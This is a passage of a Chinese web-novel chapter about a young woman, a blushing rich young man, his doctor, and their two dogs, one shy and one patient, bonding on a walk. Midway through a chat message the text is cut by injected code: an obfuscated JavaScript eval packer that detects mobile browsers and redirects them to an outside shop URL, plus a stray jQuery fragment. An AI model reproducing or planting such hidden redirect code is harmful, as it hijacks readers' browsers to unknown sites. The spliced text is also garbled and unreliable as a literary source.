谢司澜猛地转过头看她，眼里写满了不可置信，耳朵尖肉眼可见地红了起来，从耳垂一直蔓延到耳廓。
“姐姐，”他叫她，声音里带着被背叛的委屈，“你笑我。”
季书宁笑得更大声了。
“对，”她靠在门框上。笑得肩膀发抖，“就笑你，笑你可爱。”
谢司澜的耳朵更红了。
不只是耳朵，那片红色从耳朵一直蔓延到脖子，连锁骨上那一小片苍白的皮肤都染上了淡淡的粉色。他张了张嘴想说什么，但舌头打了结似的什么声音都发不出来。
最后他放弃了抵抗，抿唇把视线移开，盯着茶几上那碟药片。
盯得认真极了，好像那堆药片突然开出了花。
季书宁看着他鼓出来的脸颊，心想这个人怎么可以又漂亮又可爱。
苍天不公啊，女娲造人的时候是不是把给他的颜值配额调到最大了！
陆之安端着那杯口服液的手还悬在半空，他的眼神在谢司澜红透的耳朵尖和笑得直不起腰的季书宁之间打了个转，偏过头和周管家对视了一眼。
那一眼里包含的信息量大概能写一篇万字论文。
周管家面不改色地移开视线，专心致志地挑了一个看起来已经很安静的茶杯擦拭起来。
陆之安把口服液又往前递了递：“少爷，药要凉了。”
谢司澜默默接过杯子，仰头一口喝了。动作干脆利落，试图用豪迈来挽回尊严。
然后他整张脸都皱成了一团，显然那杯口服液的味道并不在“好喝”的范畴之内。
他把空杯子放回托盘上，伸出舌头舔了一下嘴唇，又飞快地缩回去。眉头还是皱着的，鼻梁上也挤出几道细细的纹路。
“……苦。”他说，声音闷闷的。
季书宁笑得眼泪都要出来了。她从口袋里摸出一颗糖，走过去放在他手心里。
“喏。吃颗糖压一压。”
谢司澜低头看了看手心里的糖，又抬头看了看她。
“谢谢姐姐。”声音还是那样轻轻乖乖的。
陆之安在旁边发出了一个几乎听不见的气音。
季书宁没听清，但谢司澜大概感受到了那股气流。天知道他今天怎么感觉如此敏锐。
“陆医生。”他语速刻意放得很慢，有股咬牙切齿的意味，“你今天话很多。”
“我一个字都没说。”陆之安面无表情地收拾托盘。
“你呼吸了。”
“……呼吸也算？”
“算。”
陆之安端托盘的动作顿了一下，推了推眼镜，表情非常真诚地看向季书宁。
“季小姐，您看到了吗？这就是我们少爷，平时对我们可凶了。”
谢司澜的耳朵红得快要滴血了。
“陆之安。”他一字一顿，连“医生”都不叫了。
陆之安端着托盘快步走向厨房，跟逃难似的。走到厨房门口的时候，他回过头，对季书宁说了一句话，声音比平常要大，刚好够客厅里的人听见：
“季小姐，以后常来，只有你能治他。”
“陆之安！”
----------------
最后季书宁是一个人牵着两条狗下楼的。
谢司澜留在楼上吃早餐。周管家把东西一样一样摆在餐桌上，白粥、几碟精致的小菜、一碗切成小块的果盘，还有一杯温牛奶。
季书宁瞥了一眼，这人吃个早餐都跟拍美食杂志似的。
不过想想也是。要是让她来做，估计就是一碗隔夜饭加水煮成泡饭，配点榨菜了事。
走之前她朝客厅里看了一眼，谢司澜正用小银叉叉起一块雪梨，吃相斯文得过分。
他好像感应到她的目光，抬头朝门口看过来，然后嘴唇动了动，用口型说了两个字。
季书宁看懂了。
“拍照。”
她点点头，对他比了个“OK”的手势，然后牵着两只狗出了门。
糯米今天明显比昨天放松多了，虽然还是贴着奥利奥走，尾巴倒是不夹了，偶尔还会轻轻摇一下。眼睛也亮亮的，时不时抬头看一眼奥利奥，确认这个大朋友还在身边。
奥利奥走得很慢，比平时慢得多。
季书宁太了解自己家这只狗了。奥利奥平时遛弯的步速，不是爆冲，也是拽着她的级别，牵引绳永远绷得笔直，根本分不清是人遛狗还是狗遛人。
今天奥利奥的步伐明显放慢了，四条腿迈得稳稳的，配合着糯米的节奏。
有时候糯米停下来闻路边的草，奥利奥就停下来等着，也不催，就安安静静地站在旁边，尾巴慢慢地摇。
等糯米闻够了抬起头，奥利奥才继续往前走。
奥利奥平时跟别的狗玩，从来没这么耐心过。它跟别的狗玩的方式是该跑的时候就跑，该追的时候就追，不会特别照顾谁。
对糯米它不一样，它好像天生就懂这只小边牧跟其他小狗朋友不一样，需要多一点时间和耐心。
到了楼下的宠物活动区，时间还早，只有零星几个遛狗的人。季书宁找了张长椅坐下，解开两只狗的牵引绳，让它们自己玩。
糯米一被放开，立刻跟上奥利奥，像一颗白色的小卫星跟着奥利奥这颗大行星转。奥利奥走到哪里它就跟到哪里，奥利奥停下来闻草地，它也停下来闻草地。奥利奥抬头看树上的鸟，它也照做。
季书宁拿出手机，拍了一张照片。
画面里，奥利奥走在前面，糯米跟在后面，两只狗的距离不超过三十厘米。
她发给谢司澜。
【季小宁】：[图片]
【季小宁】：糯米像一条小尾巴
回复得很快。
【小谢同学】：它很开心。
【小谢同学】：尾巴翘起来了。
【小谢同学】：耳朵也是立着的。
季书宁放大照片看了看，确实。糯米的尾巴翘得比刚才更高了，耳朵也完全立了起来，不再是警惕的状态。
她想了想，打字：
【季小宁】：你是糯米学家吗？
【季小宁】：看照片就能看出来？
这次隔了几秒。
【小谢同学】：嗯，我是糯米学博士。
季书宁盯着那行字，笑了出来。这人。
【季小宁】：哈哈哈哈哈哈哈哈哈
【季小宁】：那你有奥利奥学学位吗
【小谢同学】：还在读。
【小谢同学】：目前的研究成果是：它开心的时候会流更多口水。
季书宁鬼使神差地往两只狗的方向看了一眼。
奥利奥张着嘴哈哧哈哧喘气，哈喇子晶亮亮地在嘴角挂了一串。
【季小宁】：……
【季小宁】：这个我也知道！！！
【季小宁】：那请问糯米学博士
【季小宁】：糯米现在在想什么
【小谢同学】：它在想，奥利奥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525733|203486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的尾巴好大。
【小谢同学】：想咬一下试试。
季书宁刚看完这条消息，抬头就看见糯米正叼着奥利奥的尾巴尖。
它小心翼翼地、试探性地咬了一下，咬完立刻松嘴，往后退了半步，抬头看奥利奥的反应。
奥利奥转过头，把尾巴又往糯米的方向甩了甩。
想咬就咬呗，多大点事。
糯米的眼睛一下子亮了。
它扑上去，两只前爪抱住奥利奥的尾巴，鼻子在那团蓬松的毛里蹭来蹭去。
奥利奥站在那里一动不动，尾巴任由它抱着，回过头舔了舔糯米的耳朵。
季书宁赶紧举起手机，连拍了好几张发给谢司澜。
【季小宁】：[图片]*3
【季小宁】：糯米学博士的预言成真了
【季小宁】：它真的咬了
【小谢同学】：嗯。
【小谢同学】：它以前从来不敢跟别的小狗这样玩。
【小谢同学】：连靠近都不敢。
她握着手机，想发点什么，但一时不知道该说些什么。
倒是谢司澜又发了几条过来。
【小谢同学】：可以帮我转告奥利奥吗？
【小谢同学】：谢谢它。
奥利奥已经带着糯米屁颠屁颠跑过来了。季书宁蹲下来，捧住奥利奥的脸，认真地说：“奥利奥，糯米的爸爸让我谢谢你。”
奥利奥继续哈哧哈哧。
“他说谢谢你让糯米玩你的尾巴。”
奥利奥舔了舔她的脸。
季书宁站起来，给谢司澜回消息。
【季小宁】：转达了
【季小宁】：奥利奥说不用谢，随便玩
【季小宁】：它还说欢迎糯米明天继续玩
【小谢同学】：好。
【小谢同学】：那我明天也继续。
季书宁盯着最后一行字。
等等，这话好像不太对吧？继续什么，继续看他跟陆之安斗智斗勇？
她挠了挠头，想了三秒，没想明白哪里不对，于是放弃了。
----------------
过了一会儿，宠物活动区又来了两只狗。
一只是柯基，屁股圆滚滚的，四条小短腿倒腾得飞快。另一只是泰迪，卷毛打理得很精致，头顶着一个小啾啾。
两只狗一进活动区就朝奥利奥和糯米跑过来。柯基跑起来屁股一扭一扭的，像一只长了脚的面包。泰迪跟在后面，步伐优雅得很。
奥利奥看见新朋友，尾巴摇了起来，往前迎了两步。
糯米也跟着往前走了一步，然后停住了。
季书宁看着它。
它的耳朵又开始往后压了，尾巴也垂了下来，爪子像钉在地上，一动不动。
柯基跑到奥利奥面前，围着它转了一圈，热情地跳起来闻它的鼻子。泰迪也凑过来，两只狗都朝糯米的方向看了看，但很快又把注意力转回奥利奥身上。
毕竟奥利奥个头大，毛又蓬，在狗界大概特别威风。
糯米站在原地，看着三只狗互动。
它的眼睛里没有害怕，也没有羡慕。
季书宁说不出是什么。她自己从小就是个社牛，没体会过那种融入不了的感觉。
它像个小孩站在游乐场边上，看着里面玩成一团的其他小孩，不知道怎么加入。
奥利奥跟柯基互相闻了一圈之后，回过头找糯米。